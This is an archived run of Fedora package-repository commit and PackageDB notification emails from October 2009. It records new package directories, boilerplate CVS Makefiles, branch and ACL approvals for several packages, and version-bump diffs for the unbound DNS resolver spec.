Subject: rpms/x11vnc - New directory
Message-ID: <20091009025348.222A911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/x11vnc
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj18490/rpms/x11vnc

Log Message:
Directory /cvs/pkgs/rpms/x11vnc added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:53:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:53:48 +0000 (UTC)
Subject: rpms/x11vnc/devel - New directory
Message-ID: <20091009025348.4932F11C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/x11vnc/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj18490/rpms/x11vnc/devel

Log Message:
Directory /cvs/pkgs/rpms/x11vnc/devel added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:53:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:53:55 +0000 (UTC)
Subject: rpms/x11vnc Makefile,NONE,1.1
Message-ID: <20091009025355.2655511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/x11vnc
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj18490/rpms/x11vnc

Added Files:
	Makefile 
Log Message:
Setup of module x11vnc


--- NEW FILE Makefile ---
# Top level Makefile for module x11vnc
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Fri Oct  9 02:53:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:53:55 +0000 (UTC)
Subject: rpms/x11vnc/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091009025355.6A71F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/x11vnc/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj18490/rpms/x11vnc/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module x11vnc


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: x11vnc
# $Id: Makefile,v 1.1 2009/10/09 02:53:55 kevin Exp $
NAME := x11vnc
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Fri Oct  9 02:54:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:54:32 +0000
Subject: [pkgdb] parole was added for cwickert
Message-ID: <20091009025432.836F610F892@bastion2.fedora.phx.redhat.com>

kevin has added Package parole with summary Media player for the Xfce desktop
kevin has approved Package parole
kevin has added a Fedora devel branch for parole with an owner of cwickert
kevin has approved parole in Fedora devel
kevin has approved Package parole
kevin has set commit to Approved for 107427 on parole (Fedora devel)
kevin has set checkout to Approved for 107427 on parole (Fedora devel)
kevin has set build to Approved for 107427 on parole (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/parole



From pkgdb at fedoraproject.org  Fri Oct  9 02:54:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:54:34 +0000
Subject: [pkgdb] parole summary updated by kevin
Message-ID: <20091009025434.8A47510F895@bastion2.fedora.phx.redhat.com>

kevin set package parole summary to Media player for the Xfce desktop

To make changes to this package see:
  /pkgdb/packages/name/parole



From pkgdb at fedoraproject.org  Fri Oct  9 02:54:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:54:34 +0000
Subject: [pkgdb] parole (Fedora, 11) updated by kevin
Message-ID: <20091009025434.97B3B10F8A4@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on parole (Fedora devel) for kevin
kevin approved watchcommits on parole (Fedora devel) for kevin
kevin approved commit on parole (Fedora devel) for kevin
kevin approved build on parole (Fedora devel) for kevin
kevin approved approveacls on parole (Fedora devel) for kevin

To make changes to this package see:
  /pkgdb/packages/name/parole



From pkgdb at fedoraproject.org  Fri Oct  9 02:54:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:54:34 +0000
Subject: [pkgdb] parole (Fedora, 11) updated by kevin
Message-ID: <20091009025434.A538810F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for parole
kevin has set commit to Approved for 107427 on parole (Fedora 11)
kevin has set checkout to Approved for 107427 on parole (Fedora 11)
kevin has set build to Approved for 107427 on parole (Fedora 11)
kevin approved watchbugzilla on parole (Fedora 11) for kevin
kevin approved watchcommits on parole (Fedora 11) for kevin
kevin approved commit on parole (Fedora 11) for kevin
kevin approved build on parole (Fedora 11) for kevin
kevin approved approveacls on parole (Fedora 11) for kevin

To make changes to this package see:
  /pkgdb/packages/name/parole



From pkgdb at fedoraproject.org  Fri Oct  9 02:54:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:54:34 +0000
Subject: [pkgdb] parole (Fedora, 11) updated by kevin
Message-ID: <20091009025434.B2B4B10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for parole
kevin has set commit to Approved for 107427 on parole (Fedora 12)
kevin has set checkout to Approved for 107427 on parole (Fedora 12)
kevin has set build to Approved for 107427 on parole (Fedora 12)
kevin approved watchbugzilla on parole (Fedora 12) for kevin
kevin approved watchcommits on parole (Fedora 12) for kevin
kevin approved commit on parole (Fedora 12) for kevin
kevin approved build on parole (Fedora 12) for kevin
kevin approved approveacls on parole (Fedora 12) for kevin

To make changes to this package see:
  /pkgdb/packages/name/parole



From kevin at fedoraproject.org  Fri Oct  9 02:54:42 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:54:42 +0000 (UTC)
Subject: rpms/parole - New directory
Message-ID: <20091009025442.1718411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/parole
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf18757/rpms/parole

Log Message:
Directory /cvs/pkgs/rpms/parole added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:54:42 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:54:42 +0000 (UTC)
Subject: rpms/parole/devel - New directory
Message-ID: <20091009025442.37FF911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/parole/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf18757/rpms/parole/devel

Log Message:
Directory /cvs/pkgs/rpms/parole/devel added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:54:49 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:54:49 +0000 (UTC)
Subject: rpms/parole Makefile,NONE,1.1
Message-ID: <20091009025449.8349411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/parole
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf18757/rpms/parole

Added Files:
	Makefile 
Log Message:
Setup of module parole


--- NEW FILE Makefile ---
# Top level Makefile for module parole
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Fri Oct  9 02:54:49 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:54:49 +0000 (UTC)
Subject: rpms/parole/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091009025449.CE25111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/parole/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf18757/rpms/parole/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module parole


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: parole
# $Id: Makefile,v 1.1 2009/10/09 02:54:49 kevin Exp $
NAME := parole
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pwouters at fedoraproject.org  Fri Oct  9 02:55:21 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 02:55:21 +0000 (UTC)
Subject: rpms/unbound/F-10 unbound.spec,1.5,1.6
Message-ID: <20091009025521.7A62511C00DB@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18936

Modified Files:
	unbound.spec 
Log Message:
bump version



Index: unbound.spec
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-10/unbound.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- unbound.spec	9 Oct 2009 02:39:55 -0000	1.5
+++ unbound.spec	9 Oct 2009 02:55:21 -0000	1.6
@@ -1,7 +1,7 @@
 Summary: Validating, recursive, and caching DNS(SEC) resolver
 Name: unbound
 Version: 1.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/unbound/
 Source: http://www.unbound.net/downloads/%{name}-%{version}.tar.gz
@@ -147,6 +147,9 @@ fi
 %postun libs -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-2
+- Bump version
+
 * Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-1
 - Much neglected update
 



From pkgdb at fedoraproject.org  Fri Oct  9 02:55:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:55:35 +0000
Subject: [pkgdb] ayttm was added for mintojoseph
Message-ID: <20091009025535.9192510F880@bastion2.fedora.phx.redhat.com>

kevin has added Package ayttm with summary Universal Instant Messaging Client
kevin has approved Package ayttm
kevin has added a Fedora devel branch for ayttm with an owner of mintojoseph
kevin has approved ayttm in Fedora devel
kevin has approved Package ayttm
kevin has set commit to Approved for 107427 on ayttm (Fedora devel)
kevin has set checkout to Approved for 107427 on ayttm (Fedora devel)
kevin has set build to Approved for 107427 on ayttm (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ayttm



From pkgdb at fedoraproject.org  Fri Oct  9 02:55:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:55:39 +0000
Subject: [pkgdb] ayttm (Fedora, 11) updated by kevin
Message-ID: <20091009025539.8E9D010F8A1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for ayttm
kevin has set commit to Approved for 107427 on ayttm (Fedora 11)
kevin has set checkout to Approved for 107427 on ayttm (Fedora 11)
kevin has set build to Approved for 107427 on ayttm (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ayttm



From pkgdb at fedoraproject.org  Fri Oct  9 02:55:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:55:39 +0000
Subject: [pkgdb] ayttm summary updated by kevin
Message-ID: <20091009025539.7309610F88F@bastion2.fedora.phx.redhat.com>

kevin set package ayttm summary to Universal Instant Messaging Client

To make changes to this package see:
  /pkgdb/packages/name/ayttm



From pkgdb at fedoraproject.org  Fri Oct  9 02:55:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:55:39 +0000
Subject: [pkgdb] ayttm (Fedora, 11) updated by kevin
Message-ID: <20091009025539.9EF9E10F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for ayttm
kevin has set commit to Approved for 107427 on ayttm (Fedora 12)
kevin has set checkout to Approved for 107427 on ayttm (Fedora 12)
kevin has set build to Approved for 107427 on ayttm (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ayttm



From kevin at fedoraproject.org  Fri Oct  9 02:55:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:55:48 +0000 (UTC)
Subject: rpms/ayttm - New directory
Message-ID: <20091009025548.1E00B11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ayttm
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg19045/rpms/ayttm

Log Message:
Directory /cvs/pkgs/rpms/ayttm added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:55:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:55:48 +0000 (UTC)
Subject: rpms/ayttm/devel - New directory
Message-ID: <20091009025548.3C32711C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ayttm/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg19045/rpms/ayttm/devel

Log Message:
Directory /cvs/pkgs/rpms/ayttm/devel added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:55:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:55:55 +0000 (UTC)
Subject: rpms/ayttm Makefile,NONE,1.1
Message-ID: <20091009025555.3895211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ayttm
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg19045/rpms/ayttm

Added Files:
	Makefile 
Log Message:
Setup of module ayttm


--- NEW FILE Makefile ---
# Top level Makefile for module ayttm
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Fri Oct  9 02:55:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:55:55 +0000 (UTC)
Subject: rpms/ayttm/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091009025555.84F7911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ayttm/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg19045/rpms/ayttm/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module ayttm


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: ayttm
# $Id: Makefile,v 1.1 2009/10/09 02:55:55 kevin Exp $
NAME := ayttm
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Fri Oct  9 02:57:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:57:09 +0000
Subject: [pkgdb] sblim-cim-client2 was added for vcrhonek
Message-ID: <20091009025709.5183210F880@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cim-client2 with summary CIM Client Class Library for Java Applications
kevin has approved Package sblim-cim-client2
kevin has added a Fedora devel branch for sblim-cim-client2 with an owner of vcrhonek
kevin has approved sblim-cim-client2 in Fedora devel
kevin has approved Package sblim-cim-client2
kevin has set commit to Approved for 107427 on sblim-cim-client2 (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cim-client2 (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cim-client2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client2



From pkgdb at fedoraproject.org  Fri Oct  9 02:57:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:57:10 +0000
Subject: [pkgdb] sblim-cim-client2 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025711.156DC10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cim-client2
kevin has set commit to Approved for 107427 on sblim-cim-client2 (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cim-client2 (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cim-client2 (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client2



From pkgdb at fedoraproject.org  Fri Oct  9 02:57:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:57:10 +0000
Subject: [pkgdb] sblim-cim-client2 summary updated by kevin
Message-ID: <20091009025711.017D610F895@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cim-client2 summary to CIM Client Class Library for Java Applications

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client2



From pkgdb at fedoraproject.org  Fri Oct  9 02:57:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:57:10 +0000
Subject: [pkgdb] sblim-cim-client2 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025711.191A210F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cim-client2
kevin has set commit to Approved for 107427 on sblim-cim-client2 (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cim-client2 (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cim-client2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client2



From pkgdb at fedoraproject.org  Fri Oct  9 02:57:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:57:10 +0000
Subject: [pkgdb] sblim-cim-client2 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025711.23E6010F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cim-client2
kevin has set commit to Approved for 107427 on sblim-cim-client2 (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cim-client2 (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cim-client2 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client2



From pkgdb at fedoraproject.org  Fri Oct  9 02:57:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:57:10 +0000
Subject: [pkgdb] sblim-cim-client2 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025711.2DB6410F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cim-client2
kevin has set commit to Approved for 107427 on sblim-cim-client2 (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cim-client2 (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cim-client2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client2



From pkgdb at fedoraproject.org  Fri Oct  9 02:57:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:57:10 +0000
Subject: [pkgdb] sblim-cim-client2 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025711.3D92A10F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cim-client2
kevin has set commit to Approved for 107427 on sblim-cim-client2 (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cim-client2 (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cim-client2 (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client2



From kevin at fedoraproject.org  Fri Oct  9 02:57:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:57:19 +0000 (UTC)
Subject: rpms/sblim-cim-client2 - New directory
Message-ID: <20091009025719.193A111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cim-client2
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsS19317/rpms/sblim-cim-client2

Log Message:
Directory /cvs/pkgs/rpms/sblim-cim-client2 added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:57:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:57:19 +0000 (UTC)
Subject: rpms/sblim-cim-client2/devel - New directory
Message-ID: <20091009025719.37E3A11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cim-client2/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsS19317/rpms/sblim-cim-client2/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cim-client2/devel added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:57:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:57:26 +0000 (UTC)
Subject: rpms/sblim-cim-client2/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091009025726.C11FD11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cim-client2/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsS19317/rpms/sblim-cim-client2/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cim-client2


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cim-client2
# $Id: Makefile,v 1.1 2009/10/09 02:57:26 kevin Exp $
NAME := sblim-cim-client2
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Fri Oct  9 02:57:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:57:26 +0000 (UTC)
Subject: rpms/sblim-cim-client2 Makefile,NONE,1.1
Message-ID: <20091009025726.6396211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cim-client2
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsS19317/rpms/sblim-cim-client2

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cim-client2


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cim-client2
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Fri Oct  9 02:58:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:58:06 +0000
Subject: [pkgdb] sblim-cmpi-base (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025806.A1E7D10F880@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-base
kevin has set commit to Approved for 107427 on sblim-cmpi-base (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-base (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-base (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-base



From pkgdb at fedoraproject.org  Fri Oct  9 02:58:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:58:06 +0000
Subject: [pkgdb] sblim-cmpi-base (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025806.BD0C910F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-base
kevin has set commit to Approved for 107427 on sblim-cmpi-base (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-base (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-base (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-base



From pwouters at fedoraproject.org  Fri Oct  9 03:06:31 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 03:06:31 +0000 (UTC)
Subject: rpms/unbound/F-11 .cvsignore, 1.7, 1.8 sources, 1.9,
	1.10 unbound.spec, 1.25, 1.26
Message-ID: <20091009030631.5FDC911C00DB@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21350

Modified Files:
	.cvsignore sources unbound.spec 
Log Message:
* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-2
- Long neglected update



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	10 Feb 2009 15:19:33 -0000	1.7
+++ .cvsignore	9 Oct 2009 03:06:30 -0000	1.8
@@ -1,3 +1,8 @@
 unbound-1.1.1.tar.gz
 unbound-1.2.0.tar.gz
 unbound-1.2.1.tar.gz
+unbound-1.3.0.tar.gz
+unbound-1.3.2.tar.gz
+unbound-1.3.1.tar.gz
+unbound-1.3.3.tar.gz
+unbound-1.3.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	10 Feb 2009 15:19:33 -0000	1.9
+++ sources	9 Oct 2009 03:06:30 -0000	1.10
@@ -1,2 +1,3 @@
 2517f811ec4939c0ea602c99a6fdea23  unbound-1.2.0.tar.gz
 5437f2a1e698d8aa73ba19a60662a654  unbound-1.2.1.tar.gz
+d1eb5efed0c36c10dbaf3f805ff3a4bd  unbound-1.3.4.tar.gz


Index: unbound.spec
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-11/unbound.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- unbound.spec	17 Mar 2009 05:28:45 -0000	1.25
+++ unbound.spec	9 Oct 2009 03:06:30 -0000	1.26
@@ -1,7 +1,7 @@
 Summary: Validating, recursive, and caching DNS(SEC) resolver
 Name: unbound
-Version: 1.2.1
-Release: 5%{?dist}
+Version: 1.3.4
+Release: 2%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/unbound/
 Source: http://www.unbound.net/downloads/%{name}-%{version}.tar.gz
